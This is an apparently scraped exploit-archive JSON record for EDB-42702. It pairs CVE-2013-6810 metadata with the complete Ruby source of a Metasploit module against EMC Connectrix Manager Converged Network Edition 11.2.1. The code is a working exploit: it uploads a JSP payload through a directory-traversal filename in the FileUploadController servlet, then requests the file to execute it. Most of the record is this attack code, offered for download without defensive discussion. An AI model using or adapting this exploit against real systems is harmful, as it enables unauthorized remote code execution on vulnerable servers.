{"exploit":{"id":"EDB-42702","name":"EMC CMCNE 11.2.1 - 'HttpFileUpload/FileUploadController.do' Arbitrary File Upload / Directory Traversal / Remote Code Execution (RCE) (Metasploit)","description":"EMC CMCNE 11.2.1 - 'HttpFileUpload/FileUploadController.do' Arbitrary File Upload / Directory Traversal / Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2013-6810"],"author":"James Fitts","published":"2017-09-13","platform":"jsp","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42702","path":"exploits/jsp/remote/42702.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42702.rb","vulnerabilities":[{"id":"CVE-2013-6810","state":"PUBLISHED","title":null,"titleSource":null,"description":"The server in Brocade Network Advisor before 12.1.0, as used in EMC Connectrix Manager Converged Network Edition (CMCNE), HP B-series SAN Network Advisor, and possibly other products, allows remote attackers to execute arbitrary code by using a servlet to upload an executable file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-6810","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-6810"},"updatedAt":"2024-08-06T17:46:23.568Z","retrievedAt":"2026-11-26T22:09:30.638Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42702.png?v=2","url":"https://exploitbin.com/exploits/EDB-42702","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42702/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42702/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"require 'msf/core'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'EMC CMCNE FileUploadController Remote Code Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a fileupload vulnerability found in EMC\n\t\t\t\tConnectrix Manager Converged Network Edition <= 11.2.1. The file\n\t\t\t\tupload vulnerability is triggered when sending a specially crafted\n\t\t\t\tfilename to the FileUploadController servlet.  This allows the\n\t\t\t\tattacker to upload a malicious jsp file to anywhere on the remote\n\t\t\t\tfile system.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => [ 'james fitts' ],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'ZDI', '13-279' ],\n\t\t\t\t\t[ 'CVE', '2013-6810' ]\n\t\t\t\t],\n\t\t\t'Privileged'\t=> true,\n\t\t\t'Platform' \t=> 'win',\n\t\t\t'Arch'\t=> ARCH_JAVA,\n\t\t\t'Targets'\t=>\n\t\t\t\t[\n\t\t\t\t\t[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Dec 18 2013'))\n\n\t\tregister_options([\n\t\t\tOpt::RPORT(80)\n\t\t], self.class)\n\tend\n\n\tdef exploit\n\n\t\tpeer = \"#{datastore['RHOST']}:#{datastore['RPORT']}\"\n\t\tdeploy = \"..\\\\..\\\\..\\\\deploy\\\\dcm-client.war\\\\\"\n\t\tjsp = payload.encoded.gsub(/\\x0d\\x0a/, \"\").gsub(/\\x0a/, \"\")\n\t\t@jsp_name = \"#{rand_text_alphanumeric(4 + rand(32-4))}.jsp\"\n\n\t\tdata = Rex::MIME::Message.new\n        data.add_part(\"#{jsp}\", \"application/octet-stream\", nil, \"form-data; name=\\\"source\\\"; filename=\\\"#{deploy}#{@jsp_name}\\\"\")\n\t\tdata.add_part(\"#{rand_text_alpha_upper(5)}\", nil, nil, \"form-data; name=\\\"driverFolderName\\\"\")\n\n\t\tpost_data = data.to_s.gsub(/^\\r\\n\\-\\-\\_Part\\_/, \"--_Part_\")\n\n\t\tprint_status(\"#{peer} - Uploading the JSP Payload...\")\n\t\tres = send_request_cgi({\n            'method'    => 'POST',\n            'uri'       => normalize_uri(\"HttpFileUpload\", \"FileUploadController.do\"),\n            'ctype'     => \"multipart/form-data; boundary=#{data.bound}\",\n            'data'      => post_data\n        })\n\n\t\tif res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/\n            print_good(\"File uploaded successfully!\")\n\t\t\tprint_status(\"Executing '#{@jsp_name}' now...\")\n\n\t\t\tres = send_request_cgi({\n\t\t\t\t'method'\t=> 'GET',\n\t\t\t\t'uri'\t\t=> normalize_uri(\"dcm-client\", \"#{@jsp_name}\")\n\t\t\t})\n\n        else\n            print_error(\"Does not look like the files were uploaded to #{peer}...\")\n        end\n\n\n\tend\n\nend","sha256":"1252ef912de1d028ea1802e04ca47c5c8fedc2d66c55d634a4b652b60b70472a","bytes":2421,"fetchedAt":"2026-11-26T22:09:30.420Z","encoding":"utf-8 (display only; download retains original bytes)"}